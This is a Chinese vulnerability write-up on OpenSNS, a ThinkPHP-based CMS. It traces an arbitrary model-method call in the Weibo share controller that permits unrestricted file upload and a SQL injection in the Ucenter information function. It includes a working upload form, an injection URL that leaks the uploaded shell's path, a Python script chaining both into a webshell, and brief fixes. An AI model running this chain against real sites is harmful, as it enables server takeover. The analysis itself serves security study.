0x01前言
前些天表哥们去打awd,碰到这个opensns,百度了几个漏洞都没利用成功,最后终于在Google上找到了这个利用方法(http://0day5.com/archives/4280/),然而比赛也快结束了。。。。这套cms基于ThinkPHP框架开发,感觉有必要跟一跟这个漏洞。话不多说,开始!
0x02漏洞分析
问题出在/Application/Weibo/Controller/ShareController.class.php
中的doSendShare函数中:
public function doSendShare(){ $aContent = I('post.content','','text'); $aQuery = I('post.query','','text'); parse_str($aQuery,$feed_data); if(empty($aContent)){ $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_')); } if(!is_login()){ $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_')); } $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']); $info = D('Weibo/Share')->getInfo($feed_data); ......
可以看到$aQuery和$aContent都是通过post传递过来的,然后下面对$aQuery进行操作,结果保存在$feed_data中。
parse_str($aQuery,$feed_data);
跟踪$feed_data变量,可以看到它进入了getInfo函数。
位置:/Application/Weibo/Model/ShareModel.class.php
public function getInfo($param) { $info = array(); if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){ $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']); } return $info; }
这里这个D函数是ThinkPH中的一个实例化类的函数,跟一下看看:
位置:/ThinkPHP/Common/functions.php
function D($name = '', $layer = '') { if (empty($name)) return new Think/Model; static $_model = array(); $layer = $layer ? : C('DEFAULT_M_LAYER'); if (isset($_model[$name . $layer])) return $_model[$name . $layer]; $class = parse_res_name($name, $layer); if (class_exists($class)) { $model = new $class(basename($name)); } elseif (false === strpos($name, '/')) { // 自动加载公共模块下面的模型 if (!C('APP_USE_NAMESPACE')) { import('Common/' . $layer . '/' . $class); } else { $class = '//Common//' . $layer . '//' . $name . $layer; } $model = class_exists($class) ? new $class($name) : new Think/Model($name); } else { /Think/Log::record('D方法实例化没找到模型类' . $class, Think/Log::NOTICE); $model = new Think/Model(basename($name)); } $_model[$name . $layer] = $model; return $model; }
这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?
在/ThinkPHP/Conf/convention.php
中有:
'DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称
那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。
再回过头来看getInfo函数这一行
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
只传递了一个参数,$param['model']是要调用的模块,$param['method']是方法(只能是public),$param['id']是所调用方法的第一个参数。
这个地方要怎么利用呢?在这里膜一下大牛的思路——找一个上传类,能上传文件,不就能getshell了嘛!
在/Application/Home/Model/FileModel.class.php
这个文件中有一个文件上传函数,具体看一下:
public function upload($files, $setting, $driver = 'Local', $config = null){ /* 上传文件 */ $setting['callback'] = array($this, 'isFile'); $Upload = new /Think/Upload($setting, $driver, $config); $info = $Upload->upload($files); /* 设置文件保存位置 */ $this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT); if($info){ //文件上传成功,记录文件信息 foreach ($info as $key => &$value) { /* 已经存在文件记录 */ if(isset($value['id']) && is_numeric($value['id'])){ continue; } /* 记录文件信息 */ if($this->create($value) && ($id = $this->add())){ $value['id'] = $id; } else { //TODO: 文件上传成功,但是记录文件信息失败,需记录日志 unset($info[$key]); } } return $info; //文件上传成功 } else { $this->error = $Upload->getError(); return false; } }
这里调用了ThinkPHP的upload函数,继续跟踪。
$info = $Upload->upload($files);
位置:/ThinkPHP/Library/Think/Upload.class.php
public function upload($files = '') { /*省略部分代码*/ // 对上传文件数组信息处理 $files = $this->dealFiles($files); foreach ($files as $key => $file) { if (!isset($file['key'])) $file['key'] = $key; /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */ if (isset($finfo)) { $file['type'] = finfo_file($finfo, $file['tmp_name']); } /* 获取上传文件后缀,允许上传无后缀文件 */ $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION); /* 文件上传检测 */ if (!$this->check($file)) { continue; } /* 获取文件hash */ if ($this->hash) { $file['md5'] = md5_file($file['tmp_name']); $file['sha1'] = sha1_file($file['tmp_name']); } /* 调用回调函数检测文件是否存在 */ $data = call_user_func($this->callback, $file); if ($this->callback && $data) { $drconfig = $this->driverConfig; $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']); if (file_exists('.' . $data['path'])) { $info[$key] = $data; continue; } elseif ($this->uploader->info($fname)) { $info[$key] = $data; continue; } elseif ($this->removeTrash) { call_user_func($this->removeTrash, $data); //删除垃圾据 } } /* 生成保存文件名 */ $savename = $this->getSaveName($file); if (false == $savename) { continue; } else { $file['savename'] = $savename; //$file['name'] = $savename; } /* 检测并创建子目录 */ $subpath = $this->getSubPath($file['name']); if (false === $subpath) { continue; } else { $file['savepath'] = $this->savePath . $subpath; } /* 对图像文件进行严格检测 (不知道对这里严格检测的意义何在。。。)*/ $ext = strtolower($file['ext']); if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) { $imginfo = getimagesize($file['tmp_name']); if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) { $this->error = '非法图像文件!'; continue; } } $file['rootPath'] = $this->config['rootPath']; $name = get_addon_class($this->driver); if (class_exists($name)) { $class = new $name(); if (method_exists($class, 'uploadDealFile')) { $class->uploadDealFile($file); } } /* 保存文件 并记录保存成功的文件 */ if ($this->uploader->save($file, $this->replace)) { unset($file['error'], $file['tmp_name']); $info[$key] = $file; } else { $this->error = $this->uploader->getError(); } } if (isset($finfo)) { finfo_close($finfo); } return empty($info) ? false : $info; }
注释都写得很详细,可以看到文件上传检测调用了一个check函数,跟一下
private function check($file) { /*省略*/ /* 检查文件Mime类型 */ //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream if (!$this->checkMime($file['type'])) { $this->error = '上传文件MIME类型不允许!'; return false; } /* 检查文件后缀 */ if (!$this->checkExt($file['ext'])) { $this->error = '上传文件后缀不允许'; return false; } /* 通过检测 */ return true; }
前面的部分省略,重点看文件mime类型和文件后缀的检测
private function checkExt($ext) { return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts); } private function checkMime($mime) { return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes); }
可以看到这两个检测函数都是去查看$this->config中相对应的成员,如果为空直接返回true。看一下$config:
private $config = array( 'mimes' => array(), //允许上传的文件MiMe类型 (空) 'maxSize' => 0, //上传的文件大小限制 (0-不做限制) 'exts' => array(), //允许上传的文件后缀 (还是空。。) /*......*/ );
这就意味着我们可以上传任意文件!现在还有几个头疼的问题就是我们不知道上传路径是什么,文件上传之后有没有被改名,现在我们回到upload函数中
/* 生成保存文件名 */ $savename = $this->getSaveName($file); if (false == $savename) { continue; } else { $file['savename'] = $savename; //$file['name'] = $savename; }
跟进getSaveName函数。
private function getSaveName($file) { $rule = $this->saveName; if (empty($rule)) { //保持文件名不变 /* 解决pathinfo中文文件名BUG */ $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1); $savename = $filename; } else { $savename = $this->getName($rule, $file['name']); if (empty($savename)) { $this->error = '文件命名规则错误!'; return false; } } /* 文件保存后缀,支持强制更改文件后缀(config为空直接拼接上传文件的后缀名)*/ $ext = empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt; return $savename . '.' . $ext; }
首先看一下saveName的值,依然是在config中:
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
$rule不为空,上传的文件就一定会被重命名,之后$rule又进入了getName函数,继续跟
private function getName($rule, $filename) { $name = ''; /*......*/ } elseif (is_string($rule)) { //字符串规则 if (function_exists($rule)) { $name = call_user_func($rule); } else { $name = $rule; } } return $name; }
上面config中的uniqid是php内置的函数,掏出小本本来查一查。
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
上传文件命名的流程就很清晰了,首先利用uniqid()生成一个唯一id,然后拼接后缀名,对任意文件上传是没有影响的。
先上传一波试试
<html> <body> <form action="http://127.0.0.1/opensns/index.php?s=/weibo/share/doSendShare.html" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file_img" id="file" /> <br /> <input type="text" name="content" value="123" id="1" /> <input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
利用这个表单上传即可,但是。。。上传完了没有回显,惊不惊喜?意不意外?
现在回到/Application/Home/Model/FileModel.class.php
中的upload函数中
if($info){ //文件上传成功,记录文件信息 foreach ($info as $key => &$value) { /* 已经存在文件记录 */ if(isset($value['id']) && is_numeric($value['id'])){ continue; } /* 记录文件信息 */ if($this->create($value) && ($id = $this->add())){ $value['id'] = $id; } else { //TODO: 文件上传成功,但是记录文件信息失败,需记录日志 unset($info[$key]); } } return $info; //文件上传成功
大体看了看create和add函数,都是与数据库有关的操作,也就是说我们上传文件的信息保存在数据库中了。这时候就要请出seay代码审计系统中的神器——Mysql监控了。利用上面的表单上传一个文件,在mysql监控中搜索INSERT即可找到对应的表为ocenter_file
。
从数据库里获取数据最好的方法是什么?当然是注入了!所以大牛轻描淡写的又挖了一枚注入,再膜一波。。。。。
注入出现在Application/Ucenter/Controller/IndexController.class.php
的information函数中
public function information($uid = null) { //调用API获取基本信息 //TODO tox 获取省市区数据 $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);
继续跟进query_user函数
位置:/Application/Common/Model/UserModel.class.php
function query_user($pFields = null, $uid = 0) { $user_data = array();//用户数据 $fields = $this->getFields($pFields);//需要检索的字段 $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID //获取缓存过的字段,尽可能在此处命中全部数据 list($cacheResult, $fields) = $this->getCachedFields($fields, $uid); $user_data = $cacheResult;//用缓存初始用户数据 //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据 list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid); /*......*/
注意看这里
$uid = (intval($uid) != 0 ? $uid : get_uid());
这里只是在判断的时候讲$uid intval了一下,实际并没有对$uid造成任何影响,我们构造的语句依然可以带入数据库执行。后面$uid又进入了getNeedQueryData函数,跟下去
private function getNeedQueryData($user_data, $fields, $uid) { $need_query = array_intersect($this->table_fields, $fields); //如果有需要检索的数据 if (!empty($need_query)) { $db_prefix=C('DB_PREFIX'); $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1"); /*****/
可以看到$uid未做任何处理直接拼接语句,我们就可以通过这个注入来获取我们shell的文件名和路径了。
poc如下:
http://127.0.0.1/opensns/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html
0x03漏洞利用
两个漏洞的利用方式已经在上面的分析过程中给出了,这里放一个py的利用脚本
import requests import random import re s = requests.Session() url = 'http://10.10.10.139/opensns/' def getRandomName(): name = '' for i in range(4): name += chr(random.randint(97, 122)) return name def register(): global s registerUrl = url + 'index.php?s=/ucenter/member/register.html' nickname = getRandomName() headers = { 'Referer': registerUrl, 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'role': '1', 'username': nickname+'@test.com', 'nickname': nickname, 'password': '123456', 'reg_type': 'email', } r = s.post(registerUrl, data=data, headers=headers) return nickname def login(username): global s loginUrl = url + 'index.php?s=/ucenter/member/login.html' headers = { 'Referer': loginUrl, 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', #'X-Requested-With': 'XMLHttpRequest', } data = { 'username': username, 'password': '123456', 'remember': '0', 'from': loginUrl, } r = s.post(loginUrl, data=data, headers=headers) #print(r.text) def upload(): global s uploadUrl = url + 'index.php?s=/weibo/share/doSendShare.html' file = {'file_img': open('l.php', 'r')} data = { 'content': '123', 'query': 'app=Home&model=File&method=upload&id=', } r = s.post(uploadUrl, data=data, files=file) #print(r.text) def getShell(): global s exp = url + 'index.php?s=/ucenter/index/information/uid/23333 union (select 1,2,concat(savepath,savename),4 from ocenter_file where savename like 0x252e706870 order by id desc limit 0,1)#.html' r = s.get(exp) #print(r.text) shellUrl = url + 'Uploads/' + re.findall(r'>(.*?)</attr>', r.text)[0] r = s.get(shellUrl) return shellUrl if r.status_code == 200 else False def main(): username = register() login(username) upload() shell = getShell() if shell: print('[*] Getshell! Url is ' + shell) else: print('[-] Something Wrong...') if __name__ == '__main__': main()
0x04漏洞修复
/ThinkPHP/Library/Think/Upload.class.php
的config变量中设置允许上传的文件mime和文件后缀名。 Application/Ucenter/Controller/IndexController.class.php
的information函数中先对$uid进行intval处理,在进行后续操作。 原文访问
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论